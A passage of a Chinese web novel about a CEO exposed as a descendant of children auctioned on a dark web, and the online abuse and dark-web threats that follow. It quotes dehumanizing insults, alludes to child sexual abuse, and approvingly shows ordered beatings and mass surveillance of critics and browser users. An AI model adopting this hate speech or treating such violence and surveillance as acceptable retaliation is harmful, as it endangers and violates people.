{们将紫色眼睛的孩子称之为天使,在养到五六岁的时候就在暗网内部进行拍卖,每一个都拍出了天价,而这两人的一些碟片也被圈内有名的富豪大肆购买。她们是哪个时代被成为天使父母的人。后来因为一次暴动,暗网尽数被销毁,那些天使死的死伤的伤,几乎没有活口,但到底有没有活口谁也不清楚。现在唐文晞却直接暴露了,唐文晞的样貌,唐文晞的眼睛都足以向世人证明他就是天使的后代!你们猜他为什么要戴隐形眼镜遮住自己紫色的眼睛,因为他知道自己出生卑劣,因为他知道自己身份上不得台,因为他知道自己曾经本该是个任人摆弄的宠物狗!什么TS的总裁,就是个谁都能踩一脚的宠物犬!} {有些人可能不懂紫色眼睛的女人和那个漂亮男人之间代表什么,更不清楚唐文晞是什么低贱的身份。这么简单粗暴的跟你们解释吧,你们知道猫舍狗舍吧,她们会选用漂亮的纯种猫猫或者狗狗交配然后孕育漂亮的品相优越的下一代再卖个高价钱,像德文、缅因这些就是纯种跟纯种诞生的纯种猫价格才高,血统越纯价格越高。你们当唐文晞的父母是个什么东西,他又是个什么东西?他父母就跟这些猫猫狗狗没有差别,而他就是这些猫猫狗狗的后代,有些人买回家对他们还算好,但有些人会弄死这些猫猫狗狗,唐文晞就是这种生命本就该掌握在其他人手中的卑劣人种,甚至不能够被称之为人。} {呵呵,唐文晞这一脉说白了其实根本没有长大的,因为能在这群人五六岁的时候就买回去的能是什么人?当然是喜欢幼童的人,肯定在他们还在长大没有长开的时候就已经把人玩死了,唐文晞能长这么大全因为暗网被人端了,不然他早被人买回去或者被控制着拍那些碟片或者被人侵犯尸骨无存!} {还有些人想嫁给唐文晞还夸唐文晞漂亮的,你们要知道极致的漂亮其实就代表了极致的危险!} {再高贵的身份,还不是那些有钱人手中的一条犬。} 有些人甚至直接这么说不被相信,有人放出了打量的资料,其中甚至有拍卖场上紫色眼睛小孩被带走的视频,还有人将唐文晞父母的一些视频放到了暗网上,故意放了链接。 人能有多卑劣呢?她们明明知道这是犯法的,明明知道不该看不该理睬,可好奇心和贪婪的欲望掩盖了一切。 她们花钱翻墙进入暗网的链接,她们花大价钱买了那些视频链接,看到视频视频中那双漂亮男女,有些人甚至暗叹怎么暗网就没了呢?如果暗网还在,他们也能拍到这样漂亮的美人拘在身边。 翻墙进去的多是国内那些劣迹斑斑的男性,甚至有些人还曾期望跟唐文晞合作,但是在看过那些视频后瞬间就变了一张嘴脸。 他们不会承认唐文晞的优秀,他们只会不停地用唐文晞的美貌来攻击他。 {看过那些视频了,真不愧是“天使”呢,到底是谁端了暗网啊,这种就该发展下来,我们也不会被一条狗压了风头,狗就应该被人买回家养着,怎么还越过主人踩在主人头上了,这要换在以前,暗网肯定是要调教的!} {谁能让暗网恢复,重金求啊,我是真想带一个回家。} {呵呵,暗网虽然没了,但谁知道唐文晞是怎么爬的这么高的?他毕竟长了那么一张脸呢,谁知道背地里是不是有人捧着呢。} {没人捧他一个无依无靠的丧家犬流浪狗是怎么变成海外资本的?说白了就是有人疼他呢,也不知道是谁这么疼他肯给他花钱,为一条狗花这么多钱,便宜他们了。} {说真的,以前对唐文晞挺有意见的,但现在看了觉得……如果唐文晞肯跟我发生什么关系,我也愿意花钱宠啊,他长得这么好看!} {你现在花钱一样能搞到,就看价高不高了!} {什么商界资本,不就是条狗?嘚瑟这么多年,原来就是这么上不得台的出身。} {恨死唐文晞这种人了,当年我的父亲就是在我小的时候去了一趟国外,然后就是看到了一双紫眼睛的女人,倾家荡产的拍下她!回来后就一直在念叨着天使!家本都赔没了!你们真当有了暗网是什么好事吗,唐文晞这种人就是卷钱的狐狸精,他们会让你们不停地付钱,花光你们的积蓄!} {这跟古代男人逛花楼有什么区别?一样的恶心!可别开在华国!} {笑死,不开在华国华国人就不去了?说白了还是那些男人的劣根性!} 网络上闹得沸沸扬扬的同时,莱蒂斯登陆了自己的海外账号和华国账号,同时发了一条博文。 【莱蒂斯】:宠物狗{配图} 第731章 背叛者 莱蒂斯只发了三个字然后是一张图片。 配图是莱蒂斯不久前拍下的一幅画,画上是被囚禁绑在荆棘之中的两个大天使,而他们脚下是一群小天使,却全都是紫色眼睛。 这是在内涵谁暗示谁,不言而喻。 莱蒂斯就是在嘲讽唐文晞。 事情已经彻底闹大了,甚至一个词条#唐文晞宠物狗#的词条都上去了,可见华国人某些驱虫品性有多低劣。 唐文晞优秀且有一张任谁看了都要说漂亮的面容,本就有很多男性嫉恨,现在这件事情爆出来,唐文晞遭受到的几乎全是男性的恶意。 有女性为他说话就一定会被骂。 你说唐文晞不是那些人的后代,这应该是个误会,那些人会骂你跟唐文晞绝配也是个宠物狗,只可惜人家主人看不上你,配种都不找你。 你说暗网不该存在,那些事是错误的,唐文晞是受害者,他们会骂娘们唧唧的男人就不该存在,不然活着就该被他们这些阳刚纯正的男人耍弄。 你说唐文晞是凭借实力走到现在的,他们会辱骂唐文晞有无数房中人。 为唐文晞说一句话,就会被那群人追着不停的骂,从个人上升到容貌从容貌上升到全家。 网络上乌烟瘴气的,那些蛆虫像是找到组织一样到处辱骂。 这时海外有个标志是一个大眼睛的账号突然发了博文。 【逃跑的背叛者都会:被抓回来处理。】 【我们已经选好了新的天使,敬请期待。】 两条海外博文甚至在暗网的链接里面也不停滑动,像是故意的让很多人知道这就是暗网发布的消息。 这话什么意思? 他们说唐文晞背叛者,他们会抓回去处理。 他们说暗网已经重建。 他们说已经选好了新的天使接班人…… 事情闹得越来越大,海外的人在关注,国内的人也在关注,甚至有人辱骂唐文晞的父母就是一对祸害。 苏青莲已经进入唐清江的精神世界,所以完全不知道外界暗网再度卷土重来,许愿也听说了这件事。 当初唐文晞担心她误会,所以将身份完全的摊开了告诉她,将暗网那段过去讲给她听,所以她知道那段时间有多黑暗多可悲,那对唐文晞来说是噩梦。 可现在这种事又一次被人扒出来,甚至扒出了唐文晞的身份。 许愿心口实在是堵得厉害,事情已经闹得这样大了,许愿也知道那群人是盯上唐文晞了。 没有退路了。 许愿当下立刻联系顾凛和刑从景,让他们帮忙封了那些一直带起暗网节奏的账号,并将这些乱七八糟的热搜尽数压下,势必要将影响降到最小。 才联系过顾凛和刑从景,热搜还没撤呢,已经有一群人怒骂唐文晞是靠身体上位。 莱蒂斯呢,被唐文晞和许愿都设计过,现在看事情闹大了,赶紧嘲讽“唐文晞,你长成这样要不要我也成为你的入幕之宾啊?你放心我的钱管够,我最不缺的就是钱了,哦对了,你和许愿是不是都是这样的啊,许愿说不定也是谁家跑出来的吧,你们以后如果没地方去了可一定要来找我,我一定会安置好你们的。” 莱蒂斯恨毒了许愿也恨毒了唐文晞,所以现在已经连发了五六条博文明嘲暗讽。 蛆虫当然不会放过任何机会。 许愿漂亮优秀,且还是女性,可以说是压了很多男人一筹,所以那群人也开始在国内带节奏说许愿也是暗网的人早就被控制了现在就是在国内敛财,说什么傅京礼士第一个买下许愿的人,盛景炎是第二个买下她的人,而隔壁宋家那位少爷因为钱太少了所以没买成。 什么污言垢语满网都是。 国内卑劣的人会少吗?当然不会,他们不停谩骂,就是警察想抓也抓不过来。 许愿看到这些的时候眼神都是冷的。 她没想到这群人竟然真的放肆到这种地步,什么恶心的话都能吐露出来,她连接上自己设计的智能软件,在自己微博发了条消息。 【许愿】:大家应该还没忘记有人故意在酒吧将摄像头对准我拍摄时有多少人辱骂我,那些人我一个不差的全部起诉成功,现在我一样开了软件,所有对我和唐文晞进行谩骂的人我都不会放过。删除是没用的,只要发表这些言论的人,你最好庆幸你这辈子不会做任何意见违反法律违背道德的事,我会一直盯着你,如果你在网络上的谩骂因为转载和观看量不够不构成犯罪,那么我会等到你做错事的那一天…… 许愿这消息发出去,让人内心发寒。 因为上一次这样辱骂许愿的人说她是卖的花钱就可以的早就已经进去了,没进去的也被罚款,那些人哪里还敢吱声? 而且那些没有构成犯罪的人也确实被盯了很久,就是酒驾超车,警察都还没知道呢许愿这边先知道了,直接就将证据交上去了,简直是无孔不入的可怕。 有些人慌了有些人怕了,有些人却继续肆无忌惮,只是换了代称,没敢用大名或者名字缩写。 许愿又发了条微博。 【许愿】:只要讨论这件事我的系统就能检测出来,不带名字甚至缩写代号没有用,我全都不放过。 这话更让人毛骨悚然,这么一闹,再加上顾凛和刑从景那边也联系了人撤热搜,讨论的人也少了。 许愿看着网络环境终于恢复正常,她给唐文晞去了电话。 经过这些事,唐文晞也有些撑不住,但还是告诉温栩栩不必在意,他将自己关进酒店房间内看着自己的行程。 即便到了这时候也没打算推了行程休息。 许愿联系到唐文晞就问:“要不要紧。” 唐文晞过了好一会儿才开口:“不是什么大事。” 都到这个时候了,唐文晞还是说不是什么大事。 许愿心头发堵:“这还不算是大事,那你告诉我什么才是大事呢?” “你猜他们为什么盯上你?因为他们或许早就猜到当初暗网大清洗跟苏青莲有关,他们就是知道你跟苏青莲的关系所以故意针对你!” 第732章 美貌不是她的错 苏青莲是否还活着,这是很多人都想知道的事。 如果苏青莲是假死,那么算一算时间,刚好就是苏青莲逃离华国的时间,那段时间暗网被大清洗。 那样的手段太像苏青莲在国内清理那些上流圈层的人是一样利落的手段,被设计的被算计的死在火灾中的数不胜数。 暗网被清理的手段太像是苏青莲做的。 如果暗网的人死绝了那可能这一切就真的戛然而止,但还有人活着,埃尔斯还活着。 他是当初暗网的高层,他在那场火灾中活了下来,他被那场大火毁容,全身多处烧伤,后来换了皮肤经历了术后的疼痛折磨才活下来,但即便是活下来也变成了现在人不人鬼不鬼的模样,摘掉那面具被人看到真面目就会大喊怪物。 是的,他变成了怪物。 本是暗网的高层,享受上流圈层的追捧,身边圈养最美的男性女性当做宠物,却因为苏青莲失去了一切,他如何能不恨呢? 他恨不能剥了苏青莲的皮吃她的血肉。 可偏偏他找不到苏青莲,查不到苏青莲在什么地方,他见到过唐文晞看到唐文晞那张脸其实有过猜测,再加上唐文晞当初是怎么起家的他也调查过。 有很大可能证明唐文晞是苏青莲的养子。 苏青莲的资料就更好查了,华国还有多少人不知道苏青莲的,稍微查一下就知道苏青莲的爱人姓唐,而恰好唐文晞就姓唐,一切都串起来了。 其实最初埃尔斯没想过唐文晞是那对男女的后代,他只是觉得唐文晞样貌实在是好。 温栩栩直播间里唐文晞暴露了才让埃尔斯确定了当初怀疑的那件事。 唐文晞是苏青莲的养子,唐文晞是那对男女的后代,而苏青莲收养了他,几乎可以完全确定暗网就是苏青莲毁掉的! 怀疑的变成了真相,让埃尔斯找到了真正的仇人。 这里面利害关系就是如此,许愿自然是想到了这些。 “苏青莲呢,她在哪里?这种时候她为什么不出现!” “因为她,你变成了他们的目标!” 许愿是理智的,但是在经历这件事的时候还是忍不住心头的怒火。 “许愿,是苏女士救了我,如果当初没有她我可能已经死了。” 苏青莲是在拍卖会上拍下了他,如果没有苏青莲,他会被那群疯子拍回家,或许会像那些兄弟姐妹一样惨死。 “苏女士已经进了全息舱,她想尽早让唐先生醒过来。” “这次的事情我能撑住,你不必太过在意。” “你和苏女士的关系有心人想查也能查得到,所以最近不要出国了,你身边有邢队盯着我也算放心。” 唐文晞提醒了许愿几句。 唐清江快醒过来了,所以苏青莲是一定会陪着唐清江的,这个时候强行叫醒她才可能会出事。 “我见过的风浪很多,所以不必担心。” 唐文晞是在安慰许愿,但只有他自己知道,自己已经再度陷入了当年的噩梦。 许愿听到这些有些难过:“那最近你也不要出国了。” 在华国的话,暗网的人应该还没有嚣张到在华国绑架的程度。 “我不出面的话,大哥他们可能会被盯上。” 唐文晞解释:“且我是TS的总裁,如果因为这件事就躲起来才是真的让人看了笑话。” 许愿沉默,也知道自己劝不动他。 “你……多找点保镖。” “好。” 唐文晞这边才挂断电话就接到了温栩栩的电话,温栩栩是看了热搜才知道那件事情有多棘手也给唐文晞带来了多大的麻烦。 “你还好吗。”温栩栩还在剧组,她一开始也不知道唐文晞戴了隐形眼镜遮住了那双紫色眼睛,更不知道紫色眼睛代表什么。 这次算是唐文晞为了她才暴露的。 “你不用愧疚,我迟早要跟那些人对上的。”唐文晞开口像是在安慰她:“是我想帮你,而不是让你难过。” “可是……” “没有可是,暗网的人卷土重来,就算他们不找我我也会去找他们的,所以与你无关。” 唐文晞安慰她:“我在你身边安排了保镖,不要离开他们的视线,暗网的人神出鬼没任何无下限的事情都可能做得出来,你的相貌……很危险。” 他已经算是在提醒温栩栩了。 暗网的人已经盯上温栩栩了,温栩栩是国内出名的影星,可一旦被暗网的人掳去,他们肯定会开直播,就是那种充斥着涩情侮辱的直播,他们会毁掉温栩栩的自尊,斩断她的明星梦,将她整个人完全打碎,从一个骄傲的女明星变成唯唯诺诺终生惊慌的孕母。 一旦被抓走,她就没有以后了。 运气好的会被救出来,运气不好的就会完全成为生育机器,麻木的被人使用利用。 哪怕她被救出来,该遭遇的也已经遭遇了,她不可能重新重返舞台,她会经历国内男性的谩骂,她会永远被人当成发泄侮辱的对象。 如果她足够坚强,还能够活下去,却也只能躲躲藏藏。 如果她因为这件事而怯懦退缩,那等待她的就只会是死亡。 所以他不希望温栩栩被那些人抓去,他希望温栩栩能够幸福快乐,而非背负着这样的命运。 美貌不是她的错。 他知道温栩栩听懂了才结束了这段通话。 这么大的事,唐文愈和唐文欣怎么可能不知道?两兄妹已经第一时间进行公关处理,唐文欣也让TS的法务部出面警告莱蒂斯和暗网的人,却被对方的人嘲讽问她也姓唐,长得这么漂亮还跟唐文晞是亲人,肯定也是天使后代。 天使后代,已经污名化。 唐文愈和唐文欣当然也经历过那些,他们都是从地狱中被苏青莲救出来的受害者。 甚至于他们两人比唐文晞更悲惨,他们出生在暗网,被养在暗网,当初甚至已经被拍卖出去,只是因为年纪太小才留了一条命,那些疯子也确实猥亵过他们,那是一辈子的噩梦。 被苏青莲救出来后他们一位一切都过去了,现在却重新被扒了出来。 第733章 人心最可怕 他们的一切都被曝光在阳光下,很少有人同情他们。 有人辱骂他们是让人倾家荡产的毒物,爱好美色的开口侮辱,担心家庭因为他们的存在而分崩离析的辱骂他们为什么不去死,还有当年暗网存在时为了跟他们的父母春风一度的那些男性毁掉了将钱财花费在他们身上分文不剩毁掉了无数家庭。 他们愤怒,他们怨恨。 好像在他么眼里,唐家三兄妹是原罪,他们美貌就是错的,他们被人抓住任人宰割也是错的,他们出生就该自杀这才是对的。 已经没有多少人再提起暗网了,好像他们三个的存在比暗网更可怕,他们就像是蛊惑人心的妖魔。 但,到底是他们可怕还是人心更可怕? 从头到尾他们都是最无辜的受害者。 “文晞,这件事你打算怎么做,最近你还是先不要回来了,你待在华国才是最安全的。”唐文愈此刻和唐文欣在一处商量怎么解决这件事。 他们一致认为华国最安全。 “明天有个会谈我需要到现场。”唐文晞拒绝了他们两人的提议:“这不是你们擅长的,且这次的合作一直都是我在经手,我是肯定要回去的。” 唐文愈叹了口气:“带好保镖,不要真的出事,暗网……我们肯定能解决那些人的,我们能灭他们一次就能灭他们第二次。” 唐文晞笑了下:“好,我知道。” 唐文晞挂断电话后才有些颓丧的靠在沙发上,这次的事他确实也是头痛的,只能说兵来将挡水来土掩的了。 唐文晞订了早班的飞机,却不知道是不是航空公司暴露了他的行程,下了飞机就被一群记者和看热闹起哄怒骂的人团团围住。 他们大喊,他们辱骂,他们嘲讽。 “唐!你真的是天使的后代吗!你的父母真的是那两个让很多家庭被毁掉的天使吗!” “唐,有人说是你们导致暗网覆灭,是真的吗?” “暗网的人说要将逃跑的宠物抓回去你怎么看!” “你要跟暗网的人正面对上吗!暗网已经开始直播了,他们说已经选定了天使母体还要拉你入伙,唐你怎么看!” “暗网的人说苏青莲没有死,他们说苏青莲是缩头乌龟是真的吗!” “苏青莲真的救了你们吗!苏青莲真的在我们国家吗!苏青莲在哪里!唐!回答!” “华国人!滚出我们的国家!滚出去!我们不欢迎天使!” 又记者在追问也有人在谩骂。 唐文晞看着此刻闹哄哄的场景实在很想发笑。 他停下脚步,周围一群保镖也将人群拦开在一个安全的距离。 唐文晞终于正面对上这群人,他猜得到暗网的人在看,也知道这或许是现场直播,所以有些话他是要说清楚的。 “说苏青莲女士是缩头乌龟的那位记者你是暗网派来的吗。” 他率先逼问那个侮辱苏青莲的黑人男记者。 黑人男记者像是被侮辱了,他大喊;“唐!正面回答我的问题!” “缩头乌龟当然不会是苏青莲女士,十几年前暗网如日中天,国内那么多名流贵族乃至官官相护都在庇护暗网,她在暗网最辉煌的时候都能毁掉暗网,更何况现在这个只能躲在人群中埋在地底像是臭虫一样窥探我们生活重新冒头的暗网,缩头乌龟?是现在的暗网才对,他们真的有种大可以不必躲躲藏藏,而是直接现身。” “越是肮脏的违反法律的东西才越是需要躲藏,他们阴暗他们狡诈他们做事不计后果只为了钱,你们真以为暗网是什么好地方?” “暗网是金钱至上的地方,你足够美貌可能被他们悄无声息的拐走,你的血型跟一些病重的大人物能完美配对你也会被偷偷转移然后带到公海之上摘掉你的肾脏肝脏,将你养成血牛,甚至在需要你的时候挖去你的心脏。你们以为你们长相平庸就能够躲过一劫了吗?” “就算你们血型没有被配对你们还有可能被桌去做猎奇实验,知道什么是花瓶女吗?就是砍断你们的四肢,将你养在花瓶里让你生生受尽折磨却不能死去的被那些有钱人围观,他们会用你们做实验,将你们当做小白鼠,当没有用处后就卖给黑诊所,你们会被层层转移永远生存在黑暗的地狱中,你们跑不掉逃不脱。” “你们还认为暗网是什么好东西吗?” 唐文晞一字一句都说明了暗网的危害,现场的众人似是真的被吓到了身体好像都在轻微的颤抖着,几乎是晚上回做噩梦的程度。 黑人男记者吞咽着口水,握着话筒的手都用力了几分,唐文晞却眸光深沉的继续开口:“暗网说会将逃跑的宠物抓回去?暗网的人在看着对吗,那么请你们记住,我也会抓住你们的马脚将你们所有人都抓住然后捣毁你们的巢穴,我不会允许你们抓住新的天使,更不会允许你们培养出下一代。” “不管我是什么身份,我都不会允许这种影响正常人生活的暗黑势力存在。” 唐文晞嘲讽:“那些认为是因为我们的相貌害了你们家庭的,那是否应该反思你的丈夫你的兄弟你的父亲乃至你的祖父全家的男性都没有什么好东西,所以才能进入暗网参与违法犯罪的事去花钱甚至倾家荡产的买下幼童?是暗网嚣张也是你们的家人本质就是低劣的下等人。这种人不论有没有暗网有没有我们他都只会将钱财花在美色上,他们一个都靠不住,去看看网络上那些叫嚣辱骂我的人,你们尽可以去查,有失业小镇青年,有流浪汉,也有罪犯,还有那些有过侵略幼童犯罪时的上等人,正常三观正的人不会辱骂我们,因为他们知道我们是受害者,暗网才是罪魁祸首。” 唐文晞的话语掷地有声,现场的记者也好,堵着他来辱骂的人也罢都因为这段话有片刻的慌神。 可下一秒还是有人带节奏在现场辱骂。 第734章 占便宜的是他 唐文晞扫了眼身边的保镖,保镖立刻冲过去将人摁倒在地。 “这个国家的法律和华国不同,他在当着我的面辱骂我,所以我的反击只能算是正当防卫。” 唐文晞眸光冰冷声音带着寒意:“打,留一口气然后丢到贫民流浪区,顺便检查一下有没有犯罪历史。” 保镖点头对那人拳打脚踢。 现场一片寂静,有记者吞咽着口水后退了一步。 唐文晞面对现场所有人缓缓开口:“你们可以听不懂我这个正常人在说什么,也可以执拗的认为是我的错,你们可以到我面前来辱骂,如果你们不怕被揍的话,你们尽可以到我面前,我有一个狗场,里面有几百只藏獒,我的保镖团队或许也该扩招了。” 这话是威胁了。 你们可以来,但我的狗可能会咬死人,我的保镖也会直接动手。 有的记者在现场直播的,直播屏幕满屏都是看客在刷屏。 有觉得唐文晞很酷的,又在辱骂暗网的,也有骂唐文晞残忍是个暴力狂要让他滚出他们国家的。 唐文晞似乎是有感应一样又笑了。 “大概会有人希望我滚出这里,那么请问你问过你们执政官的意思了吗?” “你知道TS每年需要缴纳多少税吗,你知道因为TS这里很多区域才能建立起来吗?你知道TS给孤儿院捐过多少钱吗?知道TS养了多少孤儿吗?” “不是TS不走,TS可以开在任何国家,所有国家都会欢迎,这里甚至会担心我们离开。” “想清楚再来评论,蠢货。” 唐文晞不再像原来那般温文尔雅了,他像是带着戾意,无差别的攻击这些给他带来伤害的人。 话落,唐文晞离开,现场的人却没有人敢冲上去阻拦,或者说是没人敢阻拦。 一直在看直播的埃尔斯冷笑一声。 真不愧是唐文晞啊,被逼到这一步了还是不肯退让,甚至直接直播攻击。 他就是知道他们暗网的人在看,所以故意这般咄咄逼人呢。 该说不愧是唐文晞吗。 埃尔斯连着嗤笑几声,助理跟在他身边候着,埃尔斯面色冰冷:“你去联系傅长海,问他什么时候抓到温栩栩把人给我送回来,我在给他一星期的时间,如果还抓不到温栩栩,我会让人将傅嘉誉请来暗网做客。” 助理立刻应声。 唐文晞回到TS,TS的员工都是专门挑选的,且当中有很多都是当初苏青莲特地办的孤儿院养大的孩子,他们都是那群在暗网中受过磋磨的人,能活到现在没有自杀且还进入TS就说明他们的三观和毅力,他们只会是唐文晞的助力。 没有人会站在暗网那边辱骂他,只会对此担忧。 不过直播他们也看了,知道唐文晞心里有打算就没再多问,她们也担心问得多了唐文晞心情不好。 唐文晞前脚回到TS,下一秒公司就收到了埃尔斯那边的到访。 保安和前台都不知道埃尔斯的身份,所以前台给唐文晞的助理去了电话。 听到埃尔斯的名字,唐文晞的脸色微变。 片刻后他嗓音带着点冰冷的哑意开口:“让他进来。” 埃尔斯大摇大摆的带着助理影子到了唐文晞的办公室。 他都是毫不避讳。 唐文晞的办公室装修的很低调,但到底是经过大风大浪的人,一眼就看出墙壁上的挂画是拍卖的真迹,价值高达三千万美元,办公桌上的玻璃杯都是限量款。 埃尔斯眸光一冷,目光缓缓重新落到唐文晞身上。 “唐总,又见面了。” 唐文晞并没有放下手中的工作,而是继续在看文件,好似完全没有听到这句话。 埃尔斯身边的助理影子脸色一冷就要冲上前去质问,埃尔斯微笑的拦下影子,目光仍落在唐文晞身上,这次到时自己自顾的坐到了办公室内待客的沙发上。 一旁的桌上放着几本书,大概是给访客解闷用的,有英文的也有中文的。 埃尔斯慢条斯理的翻看着书籍,唐文晞却在看文件,办公室内寂静无声,能清楚的听到几人的呼吸和翻纸页的声音。 大抵快到晚饭时间,唐文晞终于放下文件。 换句话说,已经到了下班时间。 “埃尔斯先生应该看到了直播,不知道埃尔斯先生看过后内心作何感想,有什么想要说的。” 这话说白了就是明晃晃的挑衅。 直播中唐文晞几乎是要将暗网狠压到地下。 他嘲暗网是罪魁祸首不该存在,他讽暗网的人是缩头乌龟来碾压,现在又当着埃尔斯的面贴脸开大。 埃尔斯慢悠悠的合上了书本。 他抬头看向唐文晞,笑意幽深:“我真不知道唐先生为什么会用缩头乌龟来称呼我们,毕竟我不是早就出现在你面前了?我可没有躲着,不像那位苏女士,到现在都没有露头呢。” 听他提到苏青莲,唐文晞眼神一暗:“你有没有想过你还不配见她。” “配不配大概也不是唐先生说了算的,或许等唐先生出了事苏女士就会出现了,毕竟那位苏女士对你们倒是极好的。” 埃尔斯似乎是在拱火。 唐文晞盯着他,眼神愈暗。 “唐先生不必生气,其实我今天来见唐先生是有件事想跟唐先生商量。”埃尔斯笑着缓和此刻尴尬的气氛。 唐文晞一言不发的看着他。 埃尔斯继续笑:“那天我也看出唐先生对温小姐似乎是很看重的,所以我想……唐先生可不可以跟我们合作呢?” “或许唐先生还不动我的意思,我说的合作是指希望唐先生配合我们让温小姐怀孕就够了,我们也没打算拘着唐先生……唐先生是个男人,我们这等于是将温小姐送到您床上,您怎么快活都可以,我们要的只是温小姐诞生下的子嗣罢了。” “白睡一个美人,占便宜的可是唐先生不是吗。” 埃尔斯一字一句像是故意挑衅,带着深深的恶意。 这话是尊重吗? 不,他是将唐文晞当做可以利用的种马,只是用他来配种! 第735章 扳倒了他的新人脉 埃尔斯在笑,他就像是故意在唐文晞面前散发自己的恶意。 反正唐文晞已经知道自己的底细了,他也不伪装了,甚至将那些恶心的事情直接当着唐文晞的面放到明面上来提。 “唐先生为什么不说话呢?坦白来说这件事上占便宜的确实是唐先生不是吗?” “你是男人,只要配合我们让她怀孕诞生子嗣就够了,后续我们也会给你大笔的钱财,相信没有人会觉得钱多吧。” “唐先生大可以放心,我们暗网拍卖出去的东西都是高价,就没有便宜货,来钱快,可比你赚的要快多了。” 埃尔斯这里不把人当人,他甚至认为男人的劣根性会让唐文晞跟自己成为同一条船上的人。 也或者,他就是纯恶意的对唐文晞提到这些。 唐文晞是那对男女的后代,拿他只会对暗网深恶痛绝,都已经撕破脸了,他凭什么还要去给唐文晞好脸,说白了他从来不是什么好人。 撕破脸就撕破脸,他还会怕了不成? 办公室内的气氛愈发古怪,埃尔斯面上还是带着笑。 唐文晞双手交叉,眸光中都带着寒意,他唇角掀起微小的弧度,然后缓缓开口:“埃尔斯先生来的太快了,所以有些消息可能还没传到埃尔斯先生这里。” “埃尔斯先生知道奥克利多吗,你可以尝试联系下奥克利多,他是不是还有时间接听你的电话。” 唐文晞面上带着笑,说出的话却让人浑身发冷。 奥克利多,埃尔斯新找的合作对象,M国的政界高层,是他新的人脉网,而人脉网还没有建立起来就已经被唐文晞察觉了吗? 唐文晞这话什么意思? 奥克利多那个身份的人难道还会被人轻易扳倒吗? 埃尔斯冷着脸去搜,结果根本不需要搜索,网页上就挂着奥克利多被捕的新闻,起因是奥克利多近三年浏览过幼童相关的黄色网站,且购买过幼童衣物,去过孤儿院猥亵过幼童,且目前还收到了大笔转款,而最让人震惊的是这次爆料举证甚至将奥克利多告上法庭的是他的亲姐姐,因为奥克利多最近就猥亵了他姐姐的一对双胞胎儿女。 奥克利多曾经是美术院校毕业的,他不止猥亵了亲姐姐的一双儿女,甚至还留下了艺术画作。 他选用的油画,在最初的底色草图就有亲姐姐一双儿女的裸图,后又用层层叠叠的颜料堆砌遮盖住了两姐弟的身影。 普通人看不透内景,但是艺术生却能透过现象看本质。 最重要的是奥克利多这幅画是一年前画下的,甚至在拍卖会上拍出了一千万美金的价格由一位收藏艺术品画作的富豪拍下收藏。 所以可见奥克利多早在一年前就已经对姐姐的孩子动了心思。 这是魔鬼,是疯子,是视血缘于无物的毫无理智只有情欲的子嗣的低劣人等。 新闻为置顶。 最上面的视频就是奥克利多的姐姐爱维尔面对镜头愤恨哭诉。 “我最小的儿子和女儿才六岁,他们都还没有完全长开,那个恶魔就已经对他下毒手了!一年前我曾因工作出差一月有余,这个恶魔就以亲人的身份将我的一双儿女接到身边照料,可孩子接回来后我就发现奥克利多送给他们的项链上全都装有定位器和录音器,他可以时时刻刻监听我的孩子在什么地方做了什么!” “他数次与我偶遇说带走我的孩子玩耍照料,我当时只以为是血缘关系使然,我的孩子那么可爱,我的哥哥当然会喜欢!可没想到他趁着我的孩子沉睡拍下了他们的裸图,甚至画下那些不堪入耳的作品!” “这样的人怎么能成为我们人民的代表!我要起诉奥克利多,我要让奥克利多滚进监狱终身监禁!” “孩子是我们的花朵我们的未来!不能让他们还没有真正盛开的时候就被这些恶魔饿狼人为毁灭!我要为我的孩子讨一个公道!” “所有喜欢幼童的疯子都该去死!你们不喜欢成年人难道是因为你们身体发育不完全是蚕蛹吗!坚决维护幼儿的健康安全!暗网滚出我们的国家!奥克利多滚出我们的国家!” “我现在有理由相信奥克利多突然这么大胆活跃就是因为背后有暗网支撑!肯定是暗网给他提供了资源!严查奥克利多严查暗网!” 爱维尔字字泣血,全都是在为自己的一双儿女发声。 围观的群众也纷纷跟着怒骂奥克利多和暗网,甚至高喊着死刑。 埃尔斯脸色发黑,他也没想到事情竟然会发展到这个地步。 他死死的盯着这段视频观看,直到结尾是奥克利多被人逮捕的图片,埃尔斯握紧自己的手机,抬头望向唐文晞。 “你可真狠啊。” 他才拉拢来的人脉就被唐文晞盯着马上下手了。 唐文晞眸光冰冷,眼底都带着寒芒。 埃尔斯这人张扬却狠戾,唐文晞不得不小心调查他的底细,查到奥克利多跟他的关系后马上查了奥克利多近些年接触过什么人。 TS集团早在十几年前就在M国注册了新型浏览器,可以说是现在M国大多数网民用的都是TS的浏览器。 别的人想通过浏览器调查其他人那是难上加难,但唐文晞是TS的总裁,他想调查奥克利多的浏览历史是轻而易举的。 查到奥克利多多次浏览幼童相关的网站,购买过幼童使用过的东西后就对这人是个什么成分的了解了七七八八。 查到奥克利多参加拍卖会曾在拍卖会拍出高价的画作后一眼就看出了问题。 画作中能够看到幼童的影子,他们被摆出渴望的模样,像是等着被疼爱。 所以唐文晞第一时间联系那位富豪收藏家将这幅画重新买回来,再联络了奥克利多的姐姐爱维尔,让她知道了事情的真相。 爱维尔是个非常疼爱孩子的母亲,知道一切后爱维尔只想破口大骂。 她根本等不了更多的时间就已经联系了记者将事情闹大。 第736章 他疯起来会对许愿动手 奥克利多人脉广,她的人脉圈也一样广,她要让奥克利多彻底玩完! 唐文晞面无表情的看着埃尔斯,嗓音淡漠沉冷:“对待畜生,就是要够狠,埃尔斯先生,这才是真正的畜生。” 埃尔斯处处暗示唐文晞是逃跑的宠物犬,唐文晞就回击他嘲讽他是畜生。 埃尔斯摁灭手机:“看来这件事是没得商量了。” “一直都没得商量。”唐文晞果断拒绝,让他明白自己对这件事的态度。 埃尔斯终于不再维持表面上虚伪的笑,他站起身歪着头看着唐文晞,那双眼睛不满红血丝和阴霾,像是一条窥伺在暗处的毒蛇。 “唐文晞,你真不愧是苏青莲的养子,就是够毒。” “可你想救那些人,想毁掉暗网吗,可你要清楚,暗网的那些交易是永远都不会停歇的,从古至今这样的组织一直都存在,你们华国存在我们M国也会存在,你根本灭不完。” “只要这个世界上一直都有有钱人,那么这种事就永远不会停止。” “你想救人,你能救多少人?我看你连温栩栩都救不了!” 毁灭了暗网还会有深网,这个世界上只要有人存在,黑恶的势力就永远不会消除。 再干净的水池也迟早会有淤泥。 